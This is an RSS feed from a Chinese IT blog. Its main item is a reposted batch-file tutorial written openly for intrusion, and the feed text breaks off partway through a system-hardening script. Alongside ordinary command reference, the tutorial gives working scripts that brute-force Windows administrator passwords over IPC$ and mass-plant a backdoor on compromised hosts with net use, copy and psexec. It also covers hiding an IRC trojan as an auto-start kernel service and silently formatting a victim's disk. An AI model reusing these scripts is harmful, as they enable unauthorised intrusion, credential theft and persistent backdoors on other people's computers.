﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-游子的博客-文章分类-学习资料</title><link>http://www.cnitblog.com/liaoqingshan/category/2357.html</link><description>慈母手中线，游子身上衣，
临行密密缝，意恐迟迟归，
谁言寸草心，报得三春晖。


数据读取中，请稍候......</description><language>zh-cn</language><lastBuildDate>Wed, 22 Jan 2014 21:26:33 GMT</lastBuildDate><pubDate>Wed, 22 Jan 2014 21:26:33 GMT</pubDate><ttl>60</ttl><item><title>C++操作XML编程实例（六种方法）----转载</title><link>http://www.cnitblog.com/liaoqingshan/articles/89220.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Sat, 18 Jan 2014 09:21:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/89220.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/89220.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/89220.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/89220.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/89220.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: C++操作XML编程实例 转写Unmanaged Code在.NET时代成为一种很悲惨的事，当你需要处理XML文件时，这种感觉会变得尤其强烈。FCL中的System.Xml多简单啊，连Steve Ballmer都知道怎么用。事情不会总是那么理想的，如果你要在C/C++程序里处理XML怎么办呢？选择一：市面上的XML lib还是有几个的，最有名的当然是libxml。我一年前用过，很不错，我还特意写了...&nbsp;&nbsp;<a href='http://www.cnitblog.com/liaoqingshan/articles/89220.html'>阅读全文</a><img src ="http://www.cnitblog.com/liaoqingshan/aggbug/89220.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2014-01-18 17:21 <a href="http://www.cnitblog.com/liaoqingshan/articles/89220.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简明批处理教程 </title><link>http://www.cnitblog.com/liaoqingshan/articles/9181.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Fri, 14 Apr 2006 06:59:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/9181.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/9181.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/9181.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/9181.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/9181.html</trackback:ping><description><![CDATA[
		<span id="post8" style="FONT-SIZE: 12px; COLOR: #000000">
				<br />
				<br />前言<br /><br />最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：“授人以鱼，不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片&lt;&lt;简明批处理教程&gt;&gt;给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.<br /><br />批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。<br /><br />一.简单批处理内部命令简介<br />1.Echo 命令<br />打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />语法<br />echo [{on|off}] [message]<br />Sample：@echo off / echo hello world<br />在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。<br /><br />2.@ 命令<br />表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />Sample：@echo off<br />@echo Now initializing the program,please wait a minite...<br />@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)<br /><br />3.Goto 命令<br />指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br />Sample：<br />if {%1}=={} goto noparms<br />if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />@Rem check parameters if null show usage<br />:noparms<br />echo Usage: monitor.bat ServerIP PortNumber<br />goto end<br />标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。<br /><br />4.Rem 命令<br />注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />Rem Message<br />Sample：@Rem Here is the description.<br /><br />5.Pause 命令<br />运行 Pause 命令时，将显示下面的消息： <br />Press any key to continue . . . <br />Sample：<br />@echo off <br />:begin <br />copy a:*.* d：\back<br />echo Please put a new disk into driver A <br />pause <br />goto begin <br />在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。<br /><br />6.Call 命令<br />从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />语法<br />call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />参数<br />[Drive:}[Path] FileName <br />指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。<br /><br />7.start 命令<br />调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />入侵常用参数：<br />MIN 开始时窗口最小化<br />SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />HIGH 在 HIGH 优先级类别开始应用程序<br />REALTIME 在 REALTIME 优先级类别开始应用程序<br />WAIT 启动应用程序并等候它结束<br />parameters 这些为传送到命令/程序的参数<br />执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br />8.choice 命令<br />choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<br />如: choice /c:dme defrag,mem,end<br />将显示<br />defrag,mem,end[D,M,E]?<br />Sample：<br />Sample.bat的内容如下: <br />@echo off <br />choice /c:dme defrag,mem,end <br />if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />if errorlevel 2 goto mem <br />if errotlevel 1 goto end <br /><br />:defrag <br />c:\dos\defrag <br />goto end <br />:mem <br />mem <br />goto end <br />:end <br />echo good bye<br /><br />此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。<br /><br />9.If 命令<br /><br />if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />1、if "参数" == "字符串" 　待执行的命令 <br />参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />如if "%1"=="a" format a: <br />if {%1}=={} goto noparms<br />if {%2}=={} goto noparms<br /><br />2、if exist 文件名　 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />如if exist config.sys edit config.sys <br /><br />3、if errorlevel / if not errorlevel 数字　 待执行的命令 <br />如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />如if errorlevel 2 goto x2 　<br />DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。<br /><br />10.for 命令<br />for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br /><br />for {%variable|%%variable} in (set) do command [ CommandLineOptions]<br />%variable 指定一个单一字母可替换的参数。<br />(set) 指定一个或一组文件。可以使用通配符。<br />command 指定对每个文件执行的命令。<br />command-parameters 为特定命令指定参数或命令行开关。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I<br /><br />如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />支持:<br /><br />FOR /D %variable IN (set) DO command [command-parameters]<br /><br />如果集中包含通配符，则指定与目录名匹配，而不与文件<br />名匹配。<br /><br />FOR /R [[drive:]path] %variable IN (set) DO command [command-<br /><br />检查以 [drive:]path 为根的目录树，指向每个目录中的<br />FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />目录。如果集仅为一个单点(.)字符，则枚举该目录树。<br /><br />FOR /L %variable IN (start,step,end) DO command [command-para<br /><br />该集表示以增量形式从开始到结束的一个数字序列。<br />因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />序列 (5 4 3 2 1)。<br /><br />FOR /F ["options"] %variable IN (file-set) DO command <br />FOR /F ["options"] %variable IN ("string") DO command <br />FOR /F ["options"] %variable IN ('command') DO command <br /><br />或者，如果有 usebackq 选项:<br /><br />FOR /F ["options"] %variable IN (file-set) DO command <br />FOR /F ["options"] %variable IN ("string") DO command <br />FOR /F ["options"] %variable IN ('command') DO command <br /><br />filenameset 为一个或多个文件名。继续到 filenameset 中的<br />下一个文件之前，每份文件都已被打开、读取并经过处理。<br />处理包括读取文件，将其分成一行行的文字，然后将每行<br />解析成零或更多的符号。然后用已找到的符号字符串变量值<br />调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br />参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />指定不同解析选项的关键字。这些关键字为:<br /><br />eol=c - 指一个行注释字符的结尾(就一个)<br />skip=n - 指在文件开始时忽略的行数。<br />delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />默认分隔符集。<br />tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />的 for 本身。这会导致额外变量名称的<br />格式为一个范围。通过 nth 符号指定 m<br />符号字符串中的最后一个字符星号，<br />那么额外的变量将在最后一个符号解析之<br />分配并接受行的保留文本。<br />usebackq - 指定新语法已在下类情况中使用:<br />在作为命令执行一个后引号的字符串并且<br />引号字符为文字字符串命令并允许在 fi<br />中使用双引号扩起文件名称。<br /><br />sample1:<br />FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command<br /><br />会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />名，您需要用双引号将文件名括起来。为了用这种方式来使<br />用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />被理解成是用作定义某个要分析的字符串的。<br /><br />%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或<br />'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />同时不能有 52 个以上都在使用中。<br /><br />您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />用单引号将括号之间的 filenameset 括起来。这样，该字符<br />串会被当作一个文件中的一个单一输入行。<br /><br />最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />括号之间的 filenameset 变成一个反括字符串。该字符串会<br />被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />内存，并被当作文件分析。因此，以下例子:<br /><br />FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i<br /><br />会枚举当前环境中的环境变量名称。<br /><br />另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />选项语法:<br /><br />~I - 删除任何引号(")，扩充 %I<br />%~fI - 将 %I 扩充到一个完全合格的路径名<br />%~dI - 仅将 %I 扩充到一个驱动器号<br />%~pI - 仅将 %I 扩充到一个路径<br />%~nI - 仅将 %I 扩充到一个文件名<br />%~xI - 仅将 %I 扩充到一个文件扩展名<br />%~sI - 扩充的路径只含有短名<br />%~aI - 将 %I 扩充到文件的文件属性<br />%~tI - 将 %I 扩充到文件的日期/时间<br />%~zI - 将 %I 扩充到文件的大小<br />%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个完全合格的名称。如果环境变量<br />未被定义，或者没有找到文件，此组合键会扩充<br />空字符串<br /><br />可以组合修饰符来得到多重结果:<br /><br />%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个驱动器号和路径。<br />%~ftzaI - 将 %I 扩充到类似输出线路的 DIR<br /><br />在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />比较易读，而且避免与不分大小写的组合键混淆。<br /><br />以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。<br /><br />sample2：<br /><br />利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<br />最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"<br />用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D:\ok.txt ，这样就ko了。<br /><br />sample3：<br /><br />你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。<br /><br />主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />代码雏形：<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br />@echo off<br />@if "%1"=="" goto usage<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />@goto end<br />:usage<br />@echo run this batch in dos modle.or just double-click it.<br />:end<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br /><br /><br />------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<br />@net use \\%1\ipc$ %3 /u:"%2"<br />@if errorlevel 1 goto failed<br />@echo Trying to establish the IPC$ connection …………OK<br />@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<br />@psexec \\%1 c:\winnt\system32\windrv32.exe<br />@psexec \\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br />:failed<br />@echo Sorry can not connected to the victim.<br />----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<br />这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. <br /><br />二.如何在批处理文件中使用参数<br />批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。<br />sample1：fomat.bat<br />@echo off<br />if "%1"=="a" format a: <br />:format<br />@format a:/q/u/auotset<br />@echo please insert another disk to driver A.<br />@pause<br />@goto fomat<br />这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^<br />sample2：<br />当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。<br />@echo off<br />@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。<br />@if errorlevel 1 echo connection failed<br />怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3 <br />三.如何使用组合命令(Compound Command)<br /><br />1.&amp;<br /><br />Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]<br /><br />用这种方法可以同时执行多条命令，而不管命令是否执行成功<br /><br />Sample：<br />C:\&gt;dir z: &amp; dir c:\Ex4rch<br />The system cannot find the path specified.<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br />Directory of c:\Ex4rch<br /><br />2002-05-14 23:51 &lt;DIR&gt; .<br />2002-05-14 23:51 &lt;DIR&gt; ..<br />2002-05-14 23:51 14 sometips.gif<br /><br />2.&amp;&amp;<br /><br />Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]<br /><br />用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；<br /><br />Sample：<br />C:\&gt;dir z: &amp;&amp; dir c:\Ex4rch<br />The system cannot find the path specified.<br /><br />C:\&gt;dir c:\Ex4rch &amp;&amp; dir z:<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br />Directory of c:\Ex4rch<br /><br />2002-05-14 23:55 &lt;DIR&gt; .<br />2002-05-14 23:55 &lt;DIR&gt; ..<br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />2 Dir(s) 768,671,744 bytes free<br />The system cannot find the path specified.<br /><br />在做备份的时候可能会用到这种命令会比较简单，如：<br />dir file://192.168.0.1/database/backup.mdb &amp;&amp; copy file://192.168.0.1/database/backup.mdb E:\backup<br />如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）<br /><br />3.||<br /><br />Usage：第一条命令 || 第二条命令 [|| 第三条命令...]<br /><br />用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；<br /><br />Sample：<br />C:\Ex4rch&gt;dir sometips.gif || del sometips.gif<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br />Directory of C:\Ex4rch<br /><br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />0 Dir(s) 768,696,320 bytes free<br /><br />组合命令使用的例子：<br />sample：<br />@copy trojan.exe \\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt<br /><br />四、管道命令的使用<br /><br />1.| 命令<br />Usage：第一条命令 | 第二条命令 [| 第三条命令...]<br />将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。<br /><br />sample：<br />time /t&gt;&gt;D:\IP.log <br />netstat -n -p tcp|find ":3389"&gt;&gt;D:\IP.log <br />start Explorer <br />看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。<br /><br />2.&gt;、&gt;&gt;输出重定向命令<br />将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。<br /><br />sample1：<br />echo hello world&gt;c:\hello.txt (stupid example?)<br /><br />sample2:<br />时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<br />运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<br />这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<br />日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<br />这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<br />CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。<br /><br />3.&lt; 、&gt;&amp; 、&lt;&amp;<br />&lt; 从文件中而不是从键盘中读入命令输入。 <br />&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br />&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<br />这些并不常用，也就不多做介绍。<br /><br />No.5 <br />五.如何用批处理文件来操作注册表<br /><br />在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)<br />关于注册表的操作，常见的是创建、修改、删除。<br /><br />1.创建<br />创建分为两种，一种是创建子项(Subkey)<br /><br />我们创建一个文件，内容如下：<br /><br />Windows Registry Editor Version 5.00<br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]<br /><br />然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。<br /><br />另一种是创建一个项目名称<br />那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：<br /><br />Windows Registry Editor Version 5.00<br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Invader"="Ex4rch"<br />"Door"=C:\\WINNT\\system32\\door.exe<br />"Autodos"=dword:02<br /><br />这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下<br />新建了:Invader、door、about这三个项目<br />Invader的类型是“String value”<br />door的类型是“REG SZ value”<br />Autodos的类型是“DWORD value”<br /><br /><br />2.修改<br />修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。<br /><br />3.删除<br />我们首先来说说删除一个项目名称，我们创建一个如下的文件：<br /><br />Windows Registry Editor Version 5.00<br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Ex4rch"=-<br /><br />执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了；<br /><br />我们再看看删除一个子项，我们创建一个如下的脚本：<br /><br />Windows Registry Editor Version 5.00<br /><br />[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br /><br />执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。<br /><br />相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。<br /><br />samlpe1:如上面的那个例子,如想生成如下注册表文件<br />Windows Registry Editor Version 5.00<br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Invader"="Ex4rch"<br />"door"=hex:255<br />"Autodos"=dword:000000128<br />只需要这样：<br />@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg<br /><br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg<br />@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg<br />@echo "door"=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg<br />@echo "Autodos"=dword:02&gt;&gt;Sample.reg<br /><br /><br />samlpe2:<br />我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)<br />@start windrv32.exe<br />@attrib +h +r windrv32.exe<br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll<br />@echo "windsnx "=- &gt;&gt;patch.dll<br />@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe<br />@regedit /s patch.dll<br />@delete patch.dll<br /><br />@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]<br />@REM 这样不是更安全^_^.<br /><br />六.精彩实例放送。<br />1.删除win2k/xp系统默认共享的批处理<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />@echo preparing to delete all the default shares.when ready pres any key.<br />@pause<br />@echo off <br /><br />:Rem check parameters if null show usage.<br />if {%1}=={} goto :Usage <br /><br />:Rem code start.<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now deleting all the default shares.<br />echo.<br />net share %1$ /delete<br />net share %2$ /delete<br />net share %3$ /delete<br />net share %4$ /delete<br />net share %5$ /delete<br />net share %6$ /delete<br />net share %7$ /delete<br />net share %8$ /delete<br />net share %9$ /delete<br />net stop Server<br />net start Server<br />echo.<br />echo All the shares have been deleteed<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now modify the registry to change the system default properties.<br />echo.<br />echo Now creating the registry file<br />echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg<br />echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; c:\delshare.reg<br />echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg<br />echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg<br />echo Nowing using the registry file to chang the system default properties.<br />regedit /s c:\delshare.reg<br />echo Deleting the temprotarily files.<br />del c:\delshare.reg<br />goto :END <br /><br />:Usage<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo ☆ A example for batch file ☆<br />echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br />echo.<br />echo Author：Ex4rch<br />echo Mail:Ex4rch@hotmail.com QQ:1672602<br />echo.<br />echo Error：Not enough parameters<br />echo.<br />echo ☆ Please enter the share disk you wanna delete ☆<br />echo.<br />echo For instance，to delete the default shares:<br />echo delshare c d e ipc admin print<br />echo.<br />echo If the disklable is not as C: D: E: ，Please chang it youself.<br />echo.<br />echo example：<br />echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：<br />echo delshare c d e x y z ipc admin print<br />echo.<br />echo *** you can delete nine shares once in a useing ***<br />echo.<br />echo ------------------------------------------------------<br />goto :EOF <br /><br />:END<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo OK,delshare.bat has deleted all the share you assigned.<br />echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.<br />echo <br />echo.<br />echo ------------------------------------------------------<br />echo. <br /><br />:EOF<br />echo end of the batch file<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br />2.全面加固系统（给肉鸡打补丁）的批处理文件<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] &gt;&gt;patch.dll <br /><br />@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br />@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br />@REM [禁止共享]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll <br />@echo "restrictanonymous"=dword:00000001 